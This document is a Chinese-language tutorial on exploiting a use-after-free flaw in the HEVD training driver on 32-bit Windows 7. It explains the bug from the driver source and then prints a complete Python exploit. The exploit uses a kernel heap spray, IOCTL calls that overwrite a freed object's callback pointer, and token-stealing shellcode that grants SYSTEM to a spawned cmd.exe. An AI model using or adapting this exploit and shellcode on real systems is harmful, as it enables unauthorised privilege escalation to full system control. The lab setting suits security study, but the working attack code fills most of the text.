Windows内核进击之旅-UAF漏洞
内核双机调试环境搭建的教程在网上有很多,值得一提的是mac下通过虚拟机也可以实现双机调试,这次要分析的文章是内核漏洞中的UAF漏洞。在这里主要是通过HEVD这个项目来了解内核漏洞的原理以及利用方式。
需要指出的是,我这里的调试环境是,调试机是win764位,被调试机是win732位。
UAF漏洞
UAF漏洞原理在网上也可以找到很多讲解的文章,具体的原理不再讲解。大致原理是:申请出一个堆块保存在一个指针中,在释放后,没有将该指针清空,形成了一个悬挂指针(danglingpointer),而后再申请出堆块时会将刚刚释放出的堆块申请出来,并复写其内容,而悬挂指针此时仍然可以使用,使得出现了不可控的情况。攻击者一般利用该漏洞进行函数指针的控制,从而劫持程序执行流。
漏洞利用的过程可以分为以下4步:
申请堆块,保存指针。
释放堆块,形成悬挂指针。
再次申请堆块,填充恶意数据。
使用悬挂指针,实现恶意目的。
下面我们去HEVD项目中具体看如何体现。
申请堆块
首先是0x222013驱动号对应的分配USE_AFTER_FREE结构体的函数,该结构体的定义是
typedef struct _USE_AFTER_FREE { FunctionPointer Callback; CHAR Buffer[0x54]; } USE_AFTER_FREE, *PUSE_AFTER_FREE; |
可以看到里面有个函数指针,以及后面有个0x54大小的字符串。分配UAF对象函数的关键代码如下:
UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool, sizeof(USE_AFTER_FREE), (ULONG)POOL_TAG); //申请堆块 …… // Fill the buffer with ASCII 'A' RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41); // Null terminate the char buffer UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0'; // Set the object Callback function UseAfterFree->Callback = &UaFObjectCallback; //赋值函数指针 // Assign the address of UseAfterFree to a global variable g_UseAfterFreeObject = UseAfterFree; //保存全局指针 |
可以看到首先调用ExAllocatePoolWithTag申请出PUSE_AFTER_FREE结构体,并将该结构体的函数指针赋值为一个UaFObjectCallback函数地址。并在最后一行代码里,将申请出来的堆块保存在全局指针中。
释放堆块
直接看到0x22201B驱动号对应的释放堆块的FreeUaFObjectIoctlHandler函数。关键代码及注释如下:
if (g_UseAfterFreeObject) { DbgPrint("[+] Freeing UaF Object\n"); DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject); #ifdef SECURE // Secure Note: This is secure because the developer is setting // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG); g_UseAfterFreeObject = NULL; //可以看到在安全的版本中,将全局指针清空了 #else // Vulnerability Note: This is a vanilla Use After Free vulnerability // because the developer is not setting 'g_UseAfterFreeObject' to NULL. // Hence, g_UseAfterFreeObject still holds the reference to stale pointer // (dangling pointer) ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG); //而在有漏洞的版本中并没有将全局指针清空,导致形成悬挂指针 #endif |
漏洞即存在该函数当中,HEVD函数里有安全和漏洞两个版本的选项,通过源代码可以很明显的看到在安全的版本中,释放掉堆块后,有将全局指针清空的操作,而在漏洞的版本中并没有清空指针的操作,从而形成了悬挂指针,导致了漏洞的形成。
再次申请堆块
再次申请堆块对应的是0x22201F驱动号对应的AllocateFakeObjectIoctlHandler函数,该函数中申请出一个与USE_AFTER_FREE同样大小的FAKE_OBJECT结构体。
typedef struct _FAKE_OBJECT { CHAR Buffer[0x58]; } FAKE_OBJECT, *PFAKE_OBJECT; |
关键源代码及注释如下:
// Allocate Pool chunk KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool, sizeof(FAKE_OBJECT), (ULONG)POOL_TAG); //申请结构体 …… // Copy the Fake structure to Pool chunk RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT)); //将用户输入拷贝至结构体 |
可以看到再次申请的这个FAKE结构体与前面的区别在于没有前面4字节的函数指针。这里的攻击场景可以理解为,再次申请出来的FAKE结构体与之前的结构体是同一块内存,在最后将用户输入拷贝到结构体的时候就会覆盖结构体里面的函数指针,指向攻击者shellcode的位置。
使用悬挂指针
在上一步中,我们已经做到了FAKE结构体和USE_AFTER_FREE指向同一块内存,同时使用用户输入覆盖了该结构体的函数指针,因此再次使用函数指针时,会导致控制流的劫持,驱动号0x222017对应的UseUaFObjectIoctlHandler函数关键源代码如下:
if (g_UseAfterFreeObject) { DbgPrint("[+] Using UaF Object\n"); DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject); DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback); DbgPrint("[+] Calling Callback\n"); if (g_UseAfterFreeObject->Callback) { g_UseAfterFreeObject->Callback(); //该地址由攻击者控制。 } Status = STATUS_SUCCESS; } |
编写EXP
上一部分通过源代码介绍了漏洞的大致利用过程,这一部分,主要是具体exp的编写,以及实际要解决的一个问题。
需要解决的问题
在这里需要解决的一个问题就是,在我们第二步释放堆块的时候,该结构体有可能会和前面已经释放的堆块合并,如果合并的话,在我们再次申请的时候申请的时候,分配出来的堆块将不再是同一块内存,导致覆盖函数指针失败。
如何解决该问题,有一篇论文写的很好,要详细了解可以去看看,最后解决的方案大致意思是如下:
Windows系统中有个叫IoCompletionReserve的对象大小为0x60,可以通过NtAllocateReserveObject申请出来,需要做的是
1.首先申请0x10000个该对象并将指针保存下来;
2.然后再申请0x5000个对象,将指针保存下来;
3.第二步中的0x5000个对象,每隔一个对象释放一个对象;
第一步的操作是将现有的空余堆块都申请出来,第二步中申请出来的堆块应该都是连续的,通过第三步的操作,使得我们申请UAE_AFTER_FREE结构体其前面的堆块应该不是空闲的,因此在释放的时候不会合并,从而再分配的时候出现意外的可能性基本为0。
下面是具体exp的代码,是python编写的。
首先第一步是申请IoCompletionReserve对象并释放,以此来控制好堆块布局的代码。
def heap_spray(): spray1 = [] spray2 = [] for i in range(0,0x10000): spray1.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1)) for i in range(0,0x5000): spray2.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1)) for i in range(0,0x5000,2): CloseHandle(spray2[i]) |
接下来是申请UESAFTERFREE堆块
def alloc(hDevice,dwIoControlCode): """alloc USEAFTERFREE struct""" evilbuf = create_string_buffer("A"*0x58) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = None lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) |
再接着是释放该堆块
def delete(hDevice,dwIoControlCode): """delete USEAFTERFREE struct""" evilbuf = create_string_buffer("A"*0x58) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = None lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) |
紧接着是申请出FAKE结构体,使用shellcode地址填写前四字节,shellcode使用的是提权shellcode,具体原理可以在网上寻找。
def alloc_fake(hDevice,dwIoControlCode): evilbuf = create_string_buffer(struct.pack("<I", scAddr)+"A"*0x54) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = None lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) |
最后是调用使用该悬挂指针
def use(hDevice,dwIoControlCode): evilbuf = create_string_buffer("A"*0x58) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = None lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) |
完整的exp代码如下:
from ctypes import * from ctypes.wintypes import * import sys, struct, time # Define constants CREATE_NEW_CONSOLE = 0x00000010 GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x00000003 FILE_ATTRIBUTE_NORMAL = 0x00000080 FILE_DEVICE_UNKNOWN = 0x00000022 FILE_ANY_ACCESS = 0x00000000 METHOD_NEITHER = 0x00000003 MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 HANDLE = c_void_p LPTSTR = c_void_p LPBYTE = c_char_p # Define WinAPI shorthand CreateProcess = windll.kernel32.CreateProcessW # <-- Unicode version! VirtualAlloc = windll.kernel32.VirtualAlloc CreateFile = windll.kernel32.CreateFileW # <-- Unicode version! DeviceIoControl = windll.kernel32.DeviceIoControl NtAllocateReserveObject=windll.ntdll.NtAllocateReserveObject CloseHandle=windll.kernel32.CloseHandle class STARTUPINFO(Structure): """STARTUPINFO struct for CreateProcess API""" _fields_ = [("cb", DWORD), ("lpReserved", LPTSTR), ("lpDesktop", LPTSTR), ("lpTitle", LPTSTR), ("dwX", DWORD), ("dwY", DWORD), ("dwXSize", DWORD), ("dwYSize", DWORD), ("dwXCountChars", DWORD), ("dwYCountChars", DWORD), ("dwFillAttribute", DWORD), ("dwFlags", DWORD), ("wShowWindow", WORD), ("cbReserved2", WORD), ("lpReserved2", LPBYTE), ("hStdInput", HANDLE), ("hStdOutput", HANDLE), ("hStdError", HANDLE)] class PROCESS_INFORMATION(Structure): """PROCESS_INFORMATION struct for CreateProcess API""" _fields_ = [("hProcess", HANDLE), ("hThread", HANDLE), ("dwProcessId", DWORD), ("dwThreadId", DWORD)] def procreate(): """Spawn shell and return PID""" print "[*]Spawning shell..." lpApplicationName = u"c:\\windows\\system32\\cmd.exe" # Unicode lpCommandLine = u"c:\\windows\\system32\\cmd.exe" # Unicode lpProcessAttributes = None lpThreadAttributes = None bInheritHandles = 0 dwCreationFlags = CREATE_NEW_CONSOLE lpEnvironment = None lpCurrentDirectory = None lpStartupInfo = STARTUPINFO() lpStartupInfo.cb = sizeof(lpStartupInfo) lpProcessInformation = PROCESS_INFORMATION()
ret = CreateProcess(lpApplicationName, # _In_opt_ LPCTSTR lpCommandLine, # _Inout_opt_ LPTSTR lpProcessAttributes, # _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, # _In_opt_ LPSECURITY_ATTRIBUTES bInheritHandles, # _In_ BOOL dwCreationFlags, # _In_ DWORD lpEnvironment, # _In_opt_ LPVOID lpCurrentDirectory, # _In_opt_ LPCTSTR byref(lpStartupInfo), # _In_ LPSTARTUPINFO byref(lpProcessInformation)) # _Out_ LPPROCESS_INFORMATION if not ret: print "\t[-]Error spawning shell: " + FormatError() sys.exit(-1) time.sleep(1) # Make sure cmd.exe spawns fully before shellcode executes print "\t[+]Spawned with PID: %d" % lpProcessInformation.dwProcessId return lpProcessInformation.dwProcessId def gethandle(): """Open handle to driver and return it""" print "[*]Getting device handle..." lpFileName = u"\\\\.\\HacksysExtremeVulnerableDriver" dwDesiredAccess = GENERIC_READ | GENERIC_WRITE dwShareMode = 0 lpSecurityAttributes = None dwCreationDisposition = OPEN_EXISTING dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL hTemplateFile = None handle = CreateFile(lpFileName, # _In_ LPCTSTR dwDesiredAccess, # _In_ DWORD dwShareMode, # _In_ DWORD lpSecurityAttributes, # _In_opt_ LPSECURITY_ATTRIBUTES dwCreationDisposition, # _In_ DWORD dwFlagsAndAttributes, # _In_ DWORD hTemplateFile) # _In_opt_ HANDLE if not handle or handle == -1: print "\t[-]Error getting device handle: " + FormatError() sys.exit(-1)
print "\t[+]Got device handle: 0x%x" % handle return handle def ctl_code(function, devicetype = FILE_DEVICE_UNKNOWN, access = FILE_ANY_ACCESS, method = METHOD_NEITHER): """Recreate CTL_CODE macro to generate driver IOCTL""" return ((devicetype << 16) | (access << 14) | (function << 2) | method) def shellcode(pid): """Craft our shellcode and stick it in a buffer""" tokenstealing = ( #---[Setup] "\x60" # pushad "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] "\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET] "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure) "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET] #-- find cmd process" "\xBA"+ struct.pack("<I",pid) + #mov edx,pid(CMD) "\x8B\x89\xB8\x00\x00\x00" # mov ecx, [ecx + FLINK_OFFSET] <-| "\x81\xe9\xB8\x00\x00\x00" # sub ecx, FLINK_OFFSET | "\x39\x91\xB4\x00\x00\x00" # cmp [ecx + PID_OFFSET], edx | "\x75\xED" # jnz #---[Copy System PID token] "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID) "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] <-| "\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET | "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx | "\x75\xED" # jnz ->| "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET] "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx #---[Recover]
"\x61" # popad "\x31\xC0" # NTSTATUS -> STATUS_SUCCESS #"\x83\xc4\x14" # add esp,0x14 #"\x5d" #pop ebp "\xC2\x00\x00" # ret 8
"" ) # ret print "[*]Allocating buffer for shellcode..." lpAddress = None dwSize = len(tokenstealing) flAllocationType = (MEM_COMMIT | MEM_RESERVE) flProtect = PAGE_EXECUTE_READWRITE
addr = VirtualAlloc(lpAddress, # _In_opt_ LPVOID dwSize, # _In_ SIZE_T flAllocationType, # _In_ DWORD flProtect) # _In_ DWORD if not addr: print "\t[-]Error allocating shellcode: " + FormatError() sys.exit(-1) print "\t[+]Shellcode buffer allocated at: 0x%x" % addr
# put de shellcode in de buffer and shake it all up memmove(addr, tokenstealing, len(tokenstealing)) return addr def heap_spray(): spray1 = [] spray2 = [] for i in range(0,0x10000): spray1.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1)) for i in range(0,0x5000): spray2.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1)) for i in range(0,0x5000,2): CloseHandle(spray2[i]) def alloc(hDevice,dwIoControlCode): """alloc USEAFTERFREE struct""" evilbuf = create_string_buffer("A"*0x58) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = byref(c_ulong()) lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) def delete(hDevice,dwIoControlCode): """delete USEAFTERFREE struct""" evilbuf = create_string_buffer("A"*0x58) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = byref(c_ulong()) lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) def alloc_fake(hDevice,dwIoControlCode,scAddr): evilbuf = create_string_buffer(struct.pack("<I", scAddr)+"A"*0x54) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = byref(c_ulong()) lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) def use(hDevice,dwIoControlCode): evilbuf = create_string_buffer("A"*0x58) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = byref(c_ulong()) lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) def trigger(hDevice, scAddr): """Create evil buffer and send IOCTL""" heap_spray() alloc(hDevice,ctl_code(0x804)) delete(hDevice,ctl_code(0x806)) alloc_fake(hDevice,ctl_code(0x807),scAddr) use(hDevice,ctl_code(0x805)) if __name__ == "__main__": print "\n**HackSys Extreme Vulnerable Driver**" print "***Integer overflow exploit***\n" pid = procreate() trigger(gethandle(),shellcode(pid)) # ugly lol |
最终获得system权限